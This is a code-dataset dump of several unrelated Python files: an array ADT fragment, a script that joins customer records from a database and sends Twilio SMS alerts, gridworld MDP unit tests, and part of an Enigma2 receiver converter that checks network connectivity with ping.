break\n\t\t\tdelete(my_array,position)\n\t\tif type[i]=='<':\n\t\t\tposition=0\n\t\tif type[i]=='>':\n\t\t\tposition=length-1\n\t\tif type[i]=='N':\n\t\t\tif position>=30: break\n\t\t\tposition+=1\n\t\tif type[i]=='P':\n\t\t\tif position<0 : break\n\t\t\tposition-=1\n\t\tif type[i]=='M':\n\t\t\tif type[i+1]=='N':\n\t\t\t\tmove(my_array, position + 1)\n\t\t\telif type[i + 1] == 'P':\n\t\t\t\tmove(my_array, position - 1)\n\t\t\telif type[i + 1] == 'n':\n\t\t\t\tmove(my_array, length - 1)\n\t\t\t\tposition=length-1\n\t\t\telse :\n\t\t\t\tmove(my_array, int(type[i+1]))\n\t\t\t\tposition=int(type[i+1])\n\t\t\ti+=1\n","repo_name":"nimod7890/Data_Structure","sub_path":"Array/array_adt.py","file_name":"array_adt.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"12635096128","text":"\nimport openpyxl\nimport psycopg2\nimport pandas as pd\nimport os\nimport os.path\nfrom datetime import date, timedelta\nimport datetime\nfrom twilio.rest import Client\nimport sys\n\n\nid = 'id#'\ntoken = 'token#'\ntwilio = 'twilio_number'\ntwilioClient = Client(id, token)\njy = 'my_number'\n\n\n# sql connection\nhostname = 'hostname_of_database'\nusername = 'username'\npassword = 'password'\ndatabase = 'database'\nport = 1234\n\n\n# open sql connection and create cursor\nmyConnection = psycopg2.connect(host=hostname, user=username, password=password, dbname=database, port=port)\ncur = myConnection.cursor()\n\n\ntoday = date.today()\nnow = datetime.datetime.now()\n\n\n# OneDrive Folder Location\nloc = \"folder_location\"\n\n\n# running 'cohort_builder' query and importing it into pandas, turning account_number into integer to join\n\nquery = \"select * from tablename where condition\"\n# Importing the resulting SQL query into Pandas using read_sql\ninfo = pd.read_sql(query, con=myConnection)\ninfo['customer_id'] = info['customer_id'].astype(int)\n\n# OneDrive Folder\n# Getting the list of files in the folder that end with .csv and does not have '-info' in name since this means the file has been worked on already\nfilelist = [x.name for x in list(os.scandir(loc)) if x.is_file() and '.csv' in x.name and '-info' not in x.name]\n\nglobal kerror\nglobal kperror\nglobal kverror\nkerror = 0\nkperror = 0\nkverror = 0\n\n# Using PANDAS to clean up and organize data\nfor file in filelist:\n    try:\n        name = file.split('.')[0]\n\n        # reading the csv\n        df = pd.read_csv(str(loc)+str(file))\n\n        # drop all columns after first one and rename it 'accounts'\n        df.drop(df.columns[1:], axis=1, inplace=True)\n        df.columns = ['customer_id']\n\n        # for each row in accounts, split the account_numbers by a comma, then strip the blank spaces and add it to a new list\n        newlists = []\n\n        df1 = df.iloc[:, :1]\n        df1.drop_duplicates(subset='customer_id', inplace=True)\n        df2 = df1['customer_id'].astype(str).tolist()\n\n        for row in df2:\n            if ',' in row:\n                for each in row.split(','):\n                    newlists.append(each.strip())\n            else:\n                newlists.append(row)\n\n        # stack the list into a column, pick unique accounts_numbers, turn it into a dataframe, drop the newly created index\n        new_df = pd.DataFrame(pd.DataFrame(newlists).stack().unique()).reset_index(drop=True)\n\n        # rename the column as 'accounts' and turn the column account_numbers into integers to join to info\n        # and creating a dataframe with unique accounts\n\n        new_df.columns = ['customer_id']\n\n        new_df['customer_id'] = new_df['customer_id'].astype(str)\n\n        new_df.replace(r'nan', '0', regex=True, inplace=True)\n\n        new_df['customer_id'] = new_df['customer_id'].apply(int)\n\n        new_dfs = new_df[['customer_id']].copy()\n\n        new_dfs.drop_duplicates(subset='customer_id', inplace=True)\n\n        # merge (left-join) the unique account_number dataframe with the info dataframe from the cohort builder then sort\n        df3 = pd.merge(new_dfs, info, left_on='customer_id', right_on='customer_id', how='left')\n        df4 = df3[['customer_id', 'email', 'first_name', 'last_name', 'address1', 'address2', 'city', 'state', 'zip', 'phone']]\n\n        # getting dataframes with null and permissions (email permission & unsubscribe)\n        dfnull = df4[df4['email'].isnull()]\n        dfnoperm = df4[(df4['email'] == 'EMAIL - UNSUBSCRIBED') | (df4['email'] == 'EMAIL -  NO PERMISSION')]\n        dfreg = df4[(df4['email'].notnull()) & (df4['email'] != 'EMAIL - UNSUBSCRIBED') & (df4['email'] != 'EMAIL -  NO PERMISSION')]\n\n        # modifying regular email dataframe to rank it by having address_number then the accounts\n        dfreg['addressnumber'] = dfreg['address1'].str.extract(r'(\\d+)')\n        dfreg['addressnumber'].fillna(99999, inplace=True)\n        dfreg['addressnumber'] = dfreg['addressnumber'].astype(int)\n\n        dfreg['rank'] = dfreg.groupby('email')['addressnumber'].rank(ascending=True, method='dense')\n        dfreg['rank1'] = dfreg.groupby('email')['dp_customer_id'].rank(ascending=False, method='dense')\n\n        dfregfiltered = dfreg[(dfreg['rank1'] == 1) & (dfreg['rank'] == 1)]\n        dfregfiltered.drop(['rank', 'rank1', 'addressnumber'], axis=1, inplace=True)\n        dfregfiltered = dfregfiltered.sort_values(by='email')\n\n        # combining all the separate dataframes into one, replacing nulls and blank spaces with 'N/A'\n        dfall = pd.concat([dfregfiltered, dfnoperm, dfnull])\n        dfall.fillna('N / A', inplace=True)\n        dfall.replace(r'^\\s*$', 'N / A', regex=True, inplace=True)\n\n        # sending it to excel and removing the old file\n        dfall.to_excel(loc+name+'-info.xlsx', index=False)\n        os.remove(loc+file)\n\n    except PermissionError:\n        # Alert when the file can't be removed because someone has the file opened\n        kperror += 1\n\n    except ValueError:\n        # Alert when the file has non-numeric value for account_numbers\n        kverror += 1\n\n    except:\n        # Alert when info append is not working and there are csv files in the folder by sending a text message\n        kerror += 1\n\n\n# ERROR TEXT MESSAGES\n# Split up the errors into 2. First is when File is Opened and unable to be removed: Permission Error (permerror).\n# Second is some other error in the system. Need to investigate further.\n\n# Case 1: When Cohort Builder is working but unable to remove because the file is opened by someone or account number column has non-numeric entries\nif kerror == 0 and (kverror > 0 or kperror > 0):\n    contents = (\"The Cohort is working: \" + str(kperror) + \" Opened / Unable to Remove csv file(s) and \" +\n                str(kverror) + \" file(s) containing non-numeric account_id number. \" + now.strftime(\"%Y-%m-%d %H:%M\") + \".\")\n\n    message = twilioClient.messages.create(body=contents, from_=twilio, to=jy)\n\n# Case 2 : When Cohort Builder is not working for some reason & not due to non-numeric account number or file being opened. Need to investigate\nelif kerror > 0:\n    contents = \"The Cohort is not working right now. There are \" + str(file) + \" csv file(s) in the folder. Need to investigate. \" + \\\n        now.strftime(\"%Y-%m-%d %H:%M\") + \".\"\n    message = twilioClient.messages.create(body=contents, from_=twilio, to=jy)\n\n# commit sql changes and close cursor,connection\ncur.close()\nmyConnection.commit()\nmyConnection.close()\n","repo_name":"scratchpapers/data","sub_path":"Cohort_Builder/Cohort_Builder.py","file_name":"Cohort_Builder.py","file_ext":"py","file_size_in_byte":6476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15195529589","text":"import unittest\n\nfrom gridworld import GridworldMdp, Direction\nfrom mdp_interface import Mdp\nfrom utils import set_seeds\nimport random\n\nclass TestDirection(unittest.TestCase):\n    def test_direction_number_conversion(self):\n        all_directions = Direction.ALL_DIRECTIONS\n        all_numbers = []\n\n        for direction in Direction.ALL_DIRECTIONS:\n            number = Direction.get_number_from_direction(direction)\n            direction_again = Direction.get_direction_from_number(number)\n            self.assertEqual(direction, direction_again)\n            all_numbers.append(number)\n\n        # Check that all directions are distinct\n        num_directions = len(all_directions)\n        self.assertEqual(len(set(all_directions)), num_directions)\n        # Check that the numbers are 0, 1, ... num_directions - 1\n        self.assertEqual(set(all_numbers), set(range(num_directions)))\n\nclass TestGridworld(unittest.TestCase):\n    def setUp(self):\n        self.grid1 = [['X', 'X', 'X', 'X', 'X'],\n                      ['X', ' ', ' ', 'A', 'X'],\n                      ['X', '3', 'X', ' ', 'X'],\n                      ['X', ' ', ' ', '1', 'X'],\n                      ['X', 'X', 'X', 'X', 'X']]\n        self.grid2 = ['XXXXXXXXX',\n                      'X9X X  AX',\n                      'X X X   X',\n                      'X       X',\n                      'XXXXXXXXX']\n        self.grid3 = [['X', 'X', 'X', 'X', 'X'],\n                      ['X', 3.5, 'X', -10, 'X'],\n                      ['X', ' ', '1', ' ', 'X'],\n                      ['X', ' ', ' ', 'A', 'X'],\n                      ['X', 'X', 'X', 'X', 'X']]\n\n        self.mdp1 = GridworldMdp(self.grid1, living_reward=0)\n        self.mdp2 = GridworldMdp(self.grid2, noise=0.2)\n        self.mdp3 = GridworldMdp(self.grid3)\n\n    def test_str(self):\n        expected = '\\n'.join([''.join(row) for row in self.grid1])\n        self.assertEqual(str(self.mdp1), expected)\n        expected = '\\n'.join(self.grid2)\n        self.assertEqual(str(self.mdp2), expected)\n        expected = '\\n'.join(['XXXXX',\n                              'XRXNX',\n                              'X 1 X',\n                              'X  AX',\n                              'XXXXX'])\n        self.assertEqual(str(self.mdp3), expected)\n\n    def test_constructor_invalid_inputs(self):\n        # Height and width must be at least 2.\n        with self.assertRaises(AssertionError):\n            mdp = GridworldMdp(['X', 'X', 'X'])\n        with self.assertRaises(AssertionError):\n            mdp = GridworldMdp([['X', 'X', 'X']])\n\n        with self.assertRaises(AssertionError):\n            # Borders must be present.\n            mdp = GridworldMdp(['  A',\n                                '3X ',\n                                '  1'])\n\n        with self.assertRaises(AssertionError):\n            # There can't be more than one agent.\n            mdp = GridworldMdp(['XXXXX',\n                                'XA 3X',\n                                'X3 AX',\n                                'XXXXX'])\n\n        with self.assertRaises(AssertionError):\n            # There must be one agent.\n            mdp = GridworldMdp(['XXXXX',\n                                'X  3X',\n                                'X3  X',\n                                'XXXXX'])\n\n        with self.assertRaises(AssertionError):\n            # There must be at least one reward.\n            mdp = GridworldMdp(['XXXXX',\n                                'XAX X',\n                                'X   X',\n                                'XXXXX'])\n\n        with self.assertRaises(AssertionError):\n            # B is not a valid element.\n            mdp = GridworldMdp(['XXXXX',\n                                'XB  X',\n                                'X  3X',\n                                'XXXXX'])\n\n    def test_start_state(self):\n        self.assertEqual(self.mdp1.get_start_state(), (3, 1))\n        self.assertEqual(self.mdp2.get_start_state(), (7, 1))\n        self.assertEqual(self.mdp3.get_start_state(), (3, 3))\n\n    def test_reward_parsing(self):\n        self.assertEqual(self.mdp1.rewards, {\n            (1, 2): 3,\n            (3, 3): 1\n        })\n        self.assertEqual(self.mdp2.rewards, {\n            (1, 1): 9\n        })\n        self.assertEqual(self.mdp3.rewards, {\n            (1, 1): 3.5,\n            (2, 2): 1,\n            (3, 1): -10\n        })\n\n    def test_actions(self):\n        a = [Direction.NORTH, Direction.SOUTH, Direction.EAST, Direction.WEST, Direction.STAY]\n        all_acts = set(a)\n        self.assertEqual(set(Direction.ALL_DIRECTIONS), all_acts)\n\n        with self.assertRaises(ValueError):\n            self.mdp1.get_actions((0, 0))\n\n        self.assertEqual(set(self.mdp1.get_actions((1, 1))), all_acts)\n        self.assertEqual(set(self.mdp1.get_actions((1, 2))), all_acts)\n        self.assertEqual(set(self.mdp2.get_actions((6, 2))), all_acts)\n        self.assertEqual(set(self.mdp2.get_actions((3, 1))), all_acts)\n        self.assertEqual(set(self.mdp3.get_actions((2, 2))), all_acts)\n\n    def test_rewards(self):\n        grid1_reward_table = {\n            (3, 3): 1,\n            (1, 2): 3\n        }\n        grid2_reward_table = {\n            (1, 1): 9\n        }\n        grid3_reward_table = {\n            (1, 1): 3.5,\n            (2, 2): 1,\n            (3, 1): -10\n        }\n        self.check_all_rewards(self.mdp1, grid1_reward_table, 0)\n        self.check_all_rewards(self.mdp2, grid2_reward_table, -0.01)\n        self.check_all_rewards(self.mdp3, grid3_reward_table, -0.01)\n\n    def check_all_rewards(self, mdp, reward_lookup_table, living_reward):\n        for state in mdp.get_states():\n            for action in mdp.get_actions(state):\n                expected = 0\n                if state in reward_lookup_table:\n                    expected += reward_lookup_table[state]\n                if action != Direction.STAY:\n                    expected += living_reward\n                self.assertEqual(mdp.get_reward(state, action), expected)\n\n    def test_transitions(self):\n        n, s = Direction.NORTH, Direction.SOUTH\n        e, w = Direction.EAST, Direction.WEST\n        stay_action = Direction.STAY\n\n        # Grid 1: No noise\n        with self.assertRaises(ValueError):\n            self.mdp1.get_transition_states_and_probs((0, 0), stay_action)\n\n        result = self.mdp1.get_transition_states_and_probs((1, 3), n)\n        self.assertEqual(set(result), set([((1, 2), 1)]))\n        result = self.mdp1.get_transition_states_and_probs((1, 2), stay_action)\n        self.assertEqual(set(result), set([((1, 2), 1)]))\n        result = self.mdp1.get_transition_states_and_probs((1, 1), n)\n        self.assertEqual(set(result), set([((1, 1), 1)]))\n\n        # Grid 2: Noise of 0.2\n        result = set(self.mdp2.get_transition_states_and_probs((1, 2), n))\n        self.assertEqual(result, set([\n            ((1, 1), 0.8),\n            ((1, 2), 0.2)\n        ]))\n        result = set(self.mdp2.get_transition_states_and_probs((6, 2), w))\n        self.assertEqual(result, set([\n            ((5, 2), 0.8),\n            ((6, 1), 0.1),\n            ((6, 3), 0.1)\n        ]))\n        result = set(self.mdp2.get_transition_states_and_probs((7, 3), e))\n        self.assertEqual(result, set([\n            ((7, 3), 0.9),\n            ((7, 2), 0.1)\n        ]))\n        result = set(self.mdp2.get_transition_states_and_probs((5, 1), s))\n        self.assertEqual(result, set([\n            ((5, 2), 0.8),\n            ((5, 1), 0.1),\n            ((6, 1), 0.1)\n        ]))\n        result = self.mdp2.get_transition_states_and_probs((3, 1), n)\n        self.assertEqual(set(result), set([((3, 1), 1)]))\n        result = self.mdp2.get_transition_states_and_probs((1, 1), stay_action)\n        self.assertEqual(set(result), set([((1, 1), 1)]))\n\n    def test_states_reachable(self):\n        def check_grid(grid):\n            self.assertEqual(set(grid.get_states()), self.dfs(grid))\n\n        for grid in [self.mdp1, self.mdp2, self.mdp3]:\n            check_grid(grid)\n\n    def dfs(self, grid):\n        visited = set()\n        def helper(state):\n            if state in visited:\n                return\n            visited.add(state)\n            for action in grid.get_actions(state):\n                for next_state, _ in grid.get_transition_states_and_probs(state, action):\n                    helper(next_state)\n\n        helper(grid.get_start_state())\n        return visited\n\n    def test_environment(self):\n        env = Mdp(self.mdp3)\n        self.assertEqual(env.get_current_state(), (3, 3))\n        next_state, reward = env.perform_action(Direction.NORTH)\n        self.assertEqual(next_state, (3, 2))\n        self.assertEqual(reward, -0.01)\n        self.assertEqual(env.get_current_state(), next_state)\n        self.assertFalse(env.is_done())\n        env.reset()\n        self.assertEqual(env.get_current_state(), (3, 3))\n        self.assertFalse(env.is_done())\n        next_state, reward = env.perform_action(Direction.WEST)\n        self.assertEqual(next_state, (2, 3))\n        self.assertEqual(reward, -0.01)\n        self.assertEqual(env.get_current_state(), next_state)\n        self.assertFalse(env.is_done())\n        next_state, reward = env.perform_action(Direction.NORTH)\n        self.assertEqual(next_state, (2, 2))\n        self.assertEqual(reward, -0.01)\n        self.assertEqual(env.get_current_state(), next_state)\n        self.assertFalse(env.is_done())\n        next_state, reward = env.perform_action(Direction.STAY)\n        self.assertEqual(next_state, (2, 2))\n        self.assertEqual(reward, 1)\n        self.assertEqual(env.get_current_state(), next_state)\n        self.assertFalse(env.is_done())\n        env.reset()\n        self.assertFalse(env.is_done())\n        self.assertEqual(env.get_current_state(), (3, 3))\n\n    def test_numpy_conversion(self):\n        def check_mdp(mdp):\n            new_mdp = GridworldMdp.from_numpy_input(*mdp.convert_to_numpy_input())\n            self.assertEqual(new_mdp.height, mdp.height)\n            self.assertEqual(new_mdp.width, mdp.width)\n            self.assertEqual(new_mdp.walls, mdp.walls)\n            self.assertEqual(new_mdp.rewards, mdp.rewards)\n            self.assertEqual(new_mdp.start_state, mdp.start_state)\n\n        check_mdp(self.mdp1)\n        check_mdp(self.mdp2)\n        check_mdp(self.mdp3)\n\n    def test_random_gridworld_generation(self):\n        set_seeds(314159)\n        mdp = GridworldMdp.generate_random(8, 8, 0, 0)\n        self.assertEqual(mdp.height, 8)\n        self.assertEqual(mdp.width, 8)\n        mdp_string = str(mdp)\n        self.assertEqual(mdp_string.count('X'), 28)\n        self.assertEqual(mdp_string.count(' '), 34)\n        self.assertEqual(mdp_string.count('A'), 1)\n        self.assertEqual(mdp_string.count('3'), 1)\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"HumanCompatibleAI/learning_biases","sub_path":"gridworld_test.py","file_name":"gridworld_test.py","file_ext":"py","file_size_in_byte":10758,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"77"}
+{"seq_id":"70098928570","text":"from Components.config import config, ConfigYesNo\nfrom Components.Converter.Converter import Converter\nfrom Components.Element import cached\nfrom enigma import eServiceCenter, eServiceReference, iServiceInformation\nfrom xml.etree.cElementTree import parse\nfrom Poll import Poll\nfrom os import system\nfrom Components.Network import iNetwork\nfrom os import environ\nimport gettext\nfrom Components.Language import language\nfrom Tools.Directories import resolveFilename, SCOPE_PLUGINS, SCOPE_LANGUAGE\nimport threading\nimport re\n\nlang = language.getLanguage()\nenviron['LANGUAGE'] = lang[:2]\ngettext.bindtextdomain('enigma2', resolveFilename(SCOPE_LANGUAGE))\ngettext.textdomain('enigma2')\ngettext.bindtextdomain('nBmExtendedServiceInfo', '%s%s' % ('/usr/lib/enigma2/python/Components/', 'Converter/locale/'))\n\ndef _(txt):\n    t = gettext.dgettext('nBmExtendedServiceInfo', txt)\n    if t == txt:\n        t = gettext.gettext(txt)\n    return t\n\nconfig.misc.spazeinfobartp = ConfigYesNo(default=True)\nconfig.misc.spazeinfobarecm = ConfigYesNo(default=True)\nconfig.misc.spazeinfobarnum = ConfigYesNo(default=True)\nconfig.misc.spazeinfobarinet = ConfigYesNo(default=True)\nconfig.misc.spazeinfobarrec = ConfigYesNo(default=True)\n\nclass segundoplano(threading.Thread):\n\n    def __init__(self, parametro, six):\n        threading.Thread.__init__(self)\n        self.parametro = parametro\n        self.six = six\n\n    def run(self):\n        self.parametro.subcargasat(self.six)\n\ndef haytp():\n    ret = True\n    try:\n        ret = config.misc.spazeinfobartp.value\n    except:\n        pass\n\n    return ret\n\ndef hayecm():\n    ret = True\n    try:\n        ret = config.misc.spazeinfobarecm.value\n    except:\n        pass\n\n    return ret\n\ndef haynum():\n    ret = True\n    try:\n        ret = config.misc.spazeinfobarnum.value\n    except:\n        pass\n\n    return ret\n\ndef hayinet():\n    ret = True\n    try:\n        ret = config.misc.spazeinfobarinet.value\n    except:\n        pass\n\n    return ret\n\ndef devStr(cadena, inicio = ':', fin = None):\n    try:\n        if cadena == None:\n            return ''\n        if not inicio == None:\n            if inicio not in cadena:\n                return cadena\n            str = cadena.split(inicio)[1]\n        else:\n            str = cadena\n        if not fin == None:\n            if fin in cadena:\n                str = str.split(fin)[0]\n        return str.strip()\n    except:\n        return ''\n\n    return\n\ndef _commafy(s):\n    r = []\n    for i, c in enumerate(reversed(s)):\n        if i and not i % 3:\n            r.insert(0, '#')\n        r.insert(0, c)\n\n    return ''.join(r)\n\ndef FormatWithCommas(value, sepmil = '.', sepdec = ',', ndecimales = 0, cmoneda = ''):\n    re_digits_nondigits = re.compile('\\\\d+|\\\\D+')\n    format = '%.' + str(ndecimales) + 'f' + cmoneda\n    if value == None:\n        return ''\n    elif str(value) == '':\n        return ''\n    else:\n        cvalue = str(value)\n        try:\n            fvalue = float(value)\n        except:\n            return value\n\n        try:\n            parts = re_digits_nondigits.findall(format % (fvalue,))\n            for i in xrange(len(parts)):\n                s = parts[i]\n                if s.isdigit():\n                    parts[i] = _commafy(s)\n                    break\n\n            return ''.join(parts).replace('.', sepdec).replace('#', sepmil)\n        except:\n            return value\n\n        return\n\ndef getFEData(frontendDataOrg):\n    from Tools.Transponder import ConvertToHumanReadable\n    try:\n        if frontendDataOrg and len(frontendDataOrg):\n            frontendData = ConvertToHumanReadable(frontendDataOrg)\n            if frontendDataOrg['tuner_type'] == 'DVB-S':\n                return str(FormatWithCommas(int(frontendData['frequency']) / 1000)) + ' MHz ' + str(FormatWithCommas(int(frontendData['symbol_rate']) / 1000)) + ' ' + str(frontendData['polarization'][0:1]) + ' ' + str(frontendData['fec_inner'])\n            if frontendDataOrg['tuner_type'] == 'DVB-C':\n                return str(frontendData['frequency']) + ' ' + str(frontendData['symbol_rate'])\n            if frontendDataOrg['tuner_type'] == 'DVB-T':\n                return str(FormatWithCommas(ajustafr(int(frontendData['frequency'])))) + ' Khz (UHF ' + str(devchfr(frontendData['frequency'])) + ') ' + str(frontendData['bandwidth'])\n        return ' '\n    except:\n        return ' '\n\ndef ajustafr(frecu):\n    return int(round(float(frecu) / 1000000, 0)) * 1000\n\ndef devchfr(frecu):\n    ret = 'NA'\n    arrfecs = [(21, 474),\n     (22, 482),\n     (23, 490),\n     (24, 498),\n     (25, 506),\n     (26, 514),\n     (27, 522),\n     (28, 530),\n     (29, 538),\n     (30, 546),\n     (31, 554),\n     (32, 562),\n     (33, 570),\n     (34, 578),\n     (35, 586),\n     (36, 594),\n     (37, 602),\n     (38, 610),\n     (39, 618),\n     (40, 626),\n     (41, 634),\n     (42, 642),\n     (43, 650),\n     (44, 658),\n     (45, 666),\n     (46, 674),\n     (47, 682),\n     (48, 690),\n     (49, 698),\n     (50, 706),\n     (51, 714),\n     (52, 722),\n     (53, 730),\n     (54, 738),\n     (55, 746),\n     (56, 754),\n     (57, 762),\n     (58, 770),\n     (59, 778),\n     (60, 786),\n     (61, 794),\n     (62, 802),\n     (63, 810),\n     (64, 818),\n     (65, 826),\n     (66, 834),\n     (67, 842),\n     (68, 850),\n     (69, 858)]\n    nfrecu = ajustafr(frecu) / 1000\n    for ele in arrfecs:\n        if ele[1] == nfrecu:\n            ret = ele[0]\n            return ret\n\n    return ret\n\nclass nBmExtendedServiceInfo(Poll, Converter, object):\n    SERVICENAME = 0\n    SERVICENUMBER = 1\n    ORBITALPOSITION = 2\n    SATNAME = 3\n    PROVIDER = 4\n    FROMCONFIG = 5\n    ALL = 6\n    ECMINFO = 7\n    CAMNAME = 8\n    INETCONECTION = 9\n    NETCONECTION = 10\n\n    def __init__(self, type):\n        Converter.__init__(self, type)\n        Poll.__init__(self)\n        self.poll_interval = 10000\n        self.poll_enabled = True\n        self.tv_list = []\n        self.seg_plano = None\n        self.radio_list = []\n        self.satNames = {}\n        self.systemCaids = {'06': 'irdeto',\n         '01': 'seca',\n         '18': 'nagra',\n         '05': 'via',\n         '0B': 'conax',\n         '17': 'betacrypt',\n         '0D': 'crypto',\n         '4A': 'dreamcrypt',\n         '09': 'nds'}\n        if type == 'ServiceName':\n            self.type = self.SERVICENAME\n        elif type == 'Number':\n            self.type = self.SERVICENUMBER\n        elif type == 'TunerInfo':\n            self.type = self.ORBITALPOSITION\n        elif type == 'SatName':\n            self.type = self.SATNAME\n        elif type == 'Provider':\n            self.type = self.PROVIDER\n        elif type == 'Config':\n            self.type = self.FROMCONFIG\n        elif type == 'InetConection':\n            self.poll_interval = 5000\n            self.type = self.INETCONECTION\n        elif type == 'NetConection':\n            self.poll_interval = 5000\n            self.type = self.NETCONECTION\n        elif type == 'EcmInfo':\n            self.poll_interval = 3000\n            self.type = 7\n        elif type == 'CamName':\n            self.type = 8\n        else:\n            self.type = self.ALL\n        return\n\n    @cached\n    def getBoolean(self):\n        ret = False\n        service = self.source.service\n        info = service and service.info()\n        if not info:\n            return False\n        if self.type == self.INETCONECTION:\n            if not hayinet():\n                ret = False\n            else:\n                try:\n                    f = open('/tmp/testinet.txt', 'r')\n                    texto = f.read().replace('\\n', '')\n                    f.close()\n                    if '1 packets transmitted, 1 packets received' in texto:\n                        ret = True\n                except:\n                    pass\n\n                try:\n                    system('ping -q -c 1 -s 6 -w 2 www.google.com >/tmp/testinet.txt &')\n                except:\n                    pass\n\n        elif self.type == self.NETCONECTION:\n            try:\n                adapters = [ (iNetwork.getFriendlyAdapterName(x), x) for x in iNetwork.getAdapterList() ]\n            except:\n                adapters = False\n\n            if not adapters:\n                ret = False\n            else:\n                puerta = '0.0.0.0'\n                for x in adapters:\n                    if iNetwork.getAdapterAttribute(x[1], 'up') is True:\n                        puerta = str(iNetwork.getAdapterAttribute(x[1], 'gateway')).replace(',', '.').replace('[', '').replace(' ', '').replace(']', '')\n                        break\n\n                if puerta == '0.0.0.0':\n                    ret = False\n                else:\n                    try:\n                        f = open('/tmp/testnet.txt', 'r')\n                        texto = f.read().replace('\\n', '')\n                        f.close()\n                        if '1 packets transmitted, 1 packets received' in texto:\n                            ret = True\n                    except:\n                        pass\n\n                    try:\n                        system('ping -q -c 1 -s 6 -w 2 ' + puerta + ' >/tmp/testnet.txt &')\n                    except:\n                        pass\n\n        return ret\n\n    boolean = property(getBoolean)\n\n    @cached\n    def getText(self):\n        if len(self.tv_list) == 0:\n            if haytp():\n                self.cargasat(self.type)\n            elif haynum():\n                self.cargasat(self.type, False)\n        service = self.source.service\n        info = service and service.info()\n        if not info:\n            return ''\n        else:\n            text = ''\n            orbital = ''\n            number = ''\n            satName = ''\n            name = info.getName().replace('\\xc2\\x86', '').replace('\\xc2\\x87', '')\n            if self.type == self.SERVICENAME:\n                text = name\n            elif self.type == self.CAMNAME:\n                text = ''\n                if hayecm():\n                    try:\n                        f = open('/tmp/.cam.info', 'r')\n                        text = text + f.read().replace('\\n', '')\n                        f.close()\n                    except:\n                        pass\n\n                    try:\n                        f = open('/etc/.ActiveCamd', 'r')\n                        text = text + f.read().replace('\\n', '')\n                        f.close()\n                        if text == 'no':\n                            text = _('No CAM')\n                    except:\n                        pass\n\n                    if text == '':\n                        text == _('No CAM')\n            elif self.type == self.SERVICENUMBER:\n                if haynum():\n                    number = self.getServiceNumber(name, info.getInfoString(iServiceInformation.sServiceref))\n                    text = number\n            elif self.type == self.ORBITALPOSITION:\n                if haytp():\n                    orbital = self.getOrbitalPosition(info)\n                    text = orbital\n            elif self.type == self.SATNAME:\n                if haytp():\n                    orbital = self.getOrbitalPosition(info)\n                    satName = self.satNames.get(orbital, orbital)\n                    text = satName\n            elif self.type == self.PROVIDER:\n                text = info.getInfoString(iServiceInformation.sProvider)\n            elif self.type == self.FROMCONFIG:\n                if haytp():\n                    orbital = self.getOrbitalPosition(info)\n                    satName = self.satNames.get(orbital, orbital)\n                    number = self.getServiceNumber(name, info.getInfoString(iServiceInformation.sServiceref))\n                    if config.plugins.ExtendedServiceInfo.showServiceNumber.value == True and number != '':\n                        text = '%s. %s' % (number, name)\n                    else:\n                        text = name\n                    if config.plugins.ExtendedServiceInfo.showOrbitalPosition.value == True and orbital != '':\n                        if config.plugins.ExtendedServiceInfo.orbitalPositionType.value == 'name':\n                            text = '%s (%s)' % (text, satName)\n                        else:\n                            text = '%s (%s)' % (text, orbital)\n            elif self.type == 7:\n                text = ''\n                if hayecm():\n                    ecmInfoString = ' '\n                    using = ''\n                    address = ''\n                    hops = ''\n                    ecmTime = ''\n                    sistema = ''\n                    try:\n                        f = open('/tmp/ecm.info', 'r')\n                        content = f.read()\n                        f.close()\n                    except:\n                        content = ''\n\n                    contentInfo = content.split('\\n')\n                    for line in contentInfo:\n                        if line.startswith('system:'):\n                            esisd = devStr(line)\n                            if esisd.replace('\\n', '').strip() == 'FTA':\n                                ecmInfoString = _('FTA channel')\n                                break\n                        elif line.startswith('caid:'):\n                            caid = devStr(line)\n                            if caid.__contains__('x'):\n                                idx = caid.index('x')\n                                caid = caid[idx + 1:]\n                                if len(caid) == 3:\n                                    caid = '0%s' % caid\n                                caid = caid[:2]\n                                caid = caid.upper()\n                                sistema = caid\n                                if self.systemCaids.has_key(caid):\n                                    sistema = self.systemCaids.get(caid)\n                        elif line.startswith('address:'):\n                            address2 = line.replace('address:', '')\n                            address = devStr(address2, None, ':')\n                            porto = devStr(address2)\n                            if porto == address or porto == '':\n                                porto = ''\n                            else:\n                                porto = ':' + porto\n                            if len(address) > 23:\n                                address = address[:20] + '...'\n                            address = address + porto\n                        elif line.startswith('hops:'):\n                            hops = ' (' + devStr(line) + ' ' + _('hops') + ')'\n                        elif line.startswith('ecm time:'):\n                            ecmTime = devStr(line)\n                            if len(ecmTime) > 4:\n                                ecmTime = ecmTime[0:4]\n                            ecmTime = ecmTime + ' ' + _('secs.')\n\n                    if sistema != '':\n                        ecmInfoString = '%s' % sistema\n                    if using != '':\n                        ecmInfoString = '%s :: %s' % (ecmInfoString, using)\n                    if address != '':\n                        ecmInfoString = '%s :: %s' % (ecmInfoString, address)\n                    if ecmTime != '':\n                        ecmInfoString = '%s :: %s' % (ecmInfoString, ecmTime + hops)\n                    text = ecmInfoString\n            elif haytp():\n                number = self.getServiceNumber(name, info.getInfoString(iServiceInformation.sServiceref))\n                orbital = self.getOrbitalPosition(info)\n                if number == '':\n                    text = name\n                else:\n                    text = '%s. %s' % (number, name)\n                if orbital != '':\n                    text = '%s (%s)' % (text, orbital)\n            return str(text)\n\n    text = property(getText)\n\n    def getListFromRef(self, ref):\n        list = []\n        try:\n            serviceHandler = eServiceCenter.getInstance()\n            services = serviceHandler.list(ref)\n            bouquets = services and services.getContent('SN', True)\n            for bouquet in bouquets:\n                services = serviceHandler.list(eServiceReference(bouquet[0]))\n                channels = services and services.getContent('SN', True)\n                for channel in channels:\n                    if not channel[0].startswith('1:64:'):\n                        list.append(channel[1].replace('\\xc2\\x86', '').replace('\\xc2\\x87', ''))\n\n        except:\n            pass\n\n        return list\n\n    def getServiceNumber(self, name, ref):\n        try:\n            list = []\n            if ref.startswith('1:0:2'):\n                list = self.radio_list\n            elif ref.startswith('1:0:1'):\n                list = self.tv_list\n            number = ''\n            if name in list:\n                for idx in range(1, len(list)):\n                    if name == list[idx - 1]:\n                        number = str(idx)\n                        break\n\n            return number\n        except:\n            return ''\n\n    def getOrbitalPosition(self, info):\n        cret = ''\n        try:\n            transponderData = info.getInfoObject(iServiceInformation.sTransponderData)\n            orbital = 0\n            if transponderData is not None:\n                